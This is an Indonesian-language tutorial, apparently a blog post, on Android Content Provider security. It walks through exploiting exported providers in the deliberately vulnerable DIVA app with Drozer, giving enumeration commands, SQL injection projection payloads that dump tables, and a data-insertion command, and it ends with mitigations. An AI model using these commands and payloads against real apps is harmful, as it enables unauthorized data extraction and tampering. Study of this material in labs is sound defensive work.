(Content Providers) di Android adalah komponen yang mengelola akses ke sekumpulan data yang terstruktur. Mereka mengenkapsulasi data dan menyediakan antarmuka yang baik untuk aplikasi, menawarkan cara bagi aplikasi untuk berbagi data dengan aplikasi lain dan mengelola akses ke data mereka dengan aman. Dalam konteks keamanan, Content Providers di Android memainkan peran penting dalam memastikan bahwa data yang dikelola oleh aplikasi tetap aman dan hanya dapat diakses oleh entitas yang berwenang.
Content URI (Uniform Resource Identifier)
Konsep dasar dari Content Providers adalah Content URI (Uniform Resource Identifier). URI digunakan sebagai string query untuk mendapatkan data dari sumber konten.
Structure of a Content URI: content://authority/optionalPath/optionalID
Rincian tentang berbagai komponen Content URI tercantum di bawah ini:
- content:// Bagian wajib dari URI yang menunjukkan bahwa URI yang diberikan adalah URI Konten.
- authority Menyiratkan nama content provider, seperti kontak, browser, dll. Bagian ini harus unik untuk setiap content provider.
- optionalPath Mendeskripsikan jenis data yang disediakan oleh content provider. Ini penting karena komponen ini memungkinkan content provider untuk mendukung berbagai bentuk data, seperti file audio dan video.
- optionalID Ini adalah nilai numerik yang digunakan saat mengakses catatan tertentu. Jika ID muncul dalam URI, itu adalah URI berbasis id; jika tidak, itu adalah URI berbasis direktori.
Operasi dalam Content Providers mendukung empat operasi dasar: Create, Read, Update, dan Delete. Ini umumnya disebut sebagai operasi CRUD.
- Create : Operasi pembuatan data dalam content provider.
- Read : Untuk mendapatkan informasi dari sumber konten.
- Update : Untuk melakukan perubahan pada data yang ada.
- Delete : Untuk menghapus data yang ada dari penyimpanan.
Berikut adalah contoh bagaimana sebuah aplikasi dapat mendefinisikan dan menggunakan Content Provider :
<provider
android:name=".MyContentProvider"
android:authorities="com.example.provider"
android:permission="com.example.provider.PERMISSION"
android:exported="false"/>
Dan contoh kode untuk mengakses data melalui Content Provider :
Uri uri = Uri.parse("content://com.example.provider/data");
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
if (cursor != null) {
while (cursor.moveToNext()) {
// Proses data dari cursor
}
cursor.close();
}
Exploiting the Exported Content Providers
Untuk praktik, saya akan menggunakan aplikasi DIVA dan Drozer. Berikut adalah langkah-langkah yang perlu diikuti:
Step 1: Getting Information about the Application
Pertama, kita akan mendapatkan informasi tentang aplikasi DIVA menggunakan perintah app.package.attacksurface
untuk melihat content provider yang diekspor.
run app.package.attacksurface jakhar.aseem.diva
Step 2: Exploit Exported Content Providers
Setelah mengetahui bahwa ada satu content provider yang diekspor, kita akan menggunakan modul app.provider.info
untuk mengetahui lebih banyak informasi.
run app.provider.info -a jakhar.aseem.diva
Step 3: Obtaining Data from Content Sources
Untuk mendapatkan data dari sumber konten, kita akan menggunakan modul Drozer scanner.provider.finduris
untuk menemukan URI yang dapat kita query.
run scanner.provider.finduris -a jakhar.aseem.diva
Step 4: Query URI
Untuk meng-query salah satu URI, kita menggunakan modul app.provider.query
dari Drozer. Dalam contoh ini, kita akan mengekspos informasi penting yang tersedia.
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
Step 5: Looking for SQL Injection in Content Providers
Untuk mencari celah SQL Injection pada content provider, kita dapat menggunakan modul scanner.provider.injection
dari Drozer. Modul ini akan memeriksa titik injeksi dalam “projection” dan “selection”.
run scanner.provider.injection -a jakhar.aseem.diva
Catatan: “Projection” dan “selection” adalah dua titik injeksi yang menarik untuk diperiksa.
Step 6: Checking Exposed SQL Tables
Kita dapat memeriksa tabel SQL yang terekspos dengan melakukan query SQL menggunakan modul app.provider.query
dari Drozer.
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "'"
Jika terdapat celah SQL Injection, kita akan melihat hasil yang menunjukkan bahwa database rentan terhadap SQL Injection. Untuk melihat semua tabel, kita dapat menjalankan query berikut:
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
Alternative : Checking All SQL Tables
Kita juga bisa menggunakan modul Drozer scanner.provider.sqltables
yang memungkinkan kita untuk memeriksa semua tabel SQL dalam database server.
run scanner.provider.sqltables -a jakhar.aseem.diva
Step 7: Extracting Data from Tables
Menggunakan modul app.provider.query
dengan URI dan query SQL, kita dapat mengekstrak data dari tabel. Contoh ini mengekstrak data dari tabel “notes”.
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM notes--"
Catatan: Secara default, operasi CRUD dapat diterapkan pada semua tabel yang parameternya “exported” disetel ke true.
Inserting Data into the Database Using Content Provider
Sekarang kita tahu bahwa database content provider memiliki akses CRUD, kita akan menyisipkan ID baru, judul, dan catatan ke dalam content provider dengan perintah berikut,
run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes/ --string _id 7 --string title Test --string note Hacked-by-Tegalsec
Mitigasi
Untuk melindungi content provider dari potensi eksploitasi, pertimbangkan langkah-langkah mitigasi berikut:
Specify android:exported=false
in Manifest:
Jika Content Provider hanya digunakan oleh aplikasi, tetapkan android:exported=false
di dalam file AndroidManifest.xml
. Ini mencegah aplikasi lain mengakses Content Provider.
<provider
android:name=".provider.NotesProvider"
android:authorities="jakhar.aseem.diva.provider.notesprovider"
android:exported="false"/>
Determine CRUD Permission :
Jika berniat mengekspor Content Provider, tentukan satu atau lebih izin untuk operasi CRUD.
<provider
android:name=".provider.NotesProvider"
android:authorities="jakhar.aseem.diva.provider.notesprovider"
android:exported="true"
android:readPermission="com.example.READ_PERMISSION"
android:writePermission="com.example.WRITE_PERMISSION"/>
Use android:protectionLevel
with “Signature” Protection :
Untuk mentransmisikan data antara aplikasi, gunakan atribut android:protectionLevel
yang disetel ke proteksi “signature”.
<permission
android:name="com.example.READ_PERMISSION"
android:protectionLevel="signature"/>
<permission
android:name="com.example.WRITE_PERMISSION"
android:protectionLevel="signature"/>
Gunakan Metode Query yang Diparameterisasi:
Untuk mengurangi potensi SQL injection dari sumber yang tidak dipercaya, gunakan metode query yang diparameterisasi seperti query()
, update()
, dan delete()
saat melakukan query pada Content Provider.
Cursor cursor = getContentResolver().query(
uri,
projection,
"column_name = ?",
new String[] { "value" },
null
);
Referensi :
Android Hacking – Exploiting Content Providers (payatu.com)
payatu/diva-android: DIVA Android – Damn Insecure and vulnerable App for Android (github.com)
Content Provider Exploitation in Diva: A Practical Approach | by Rahul Chandan | Medium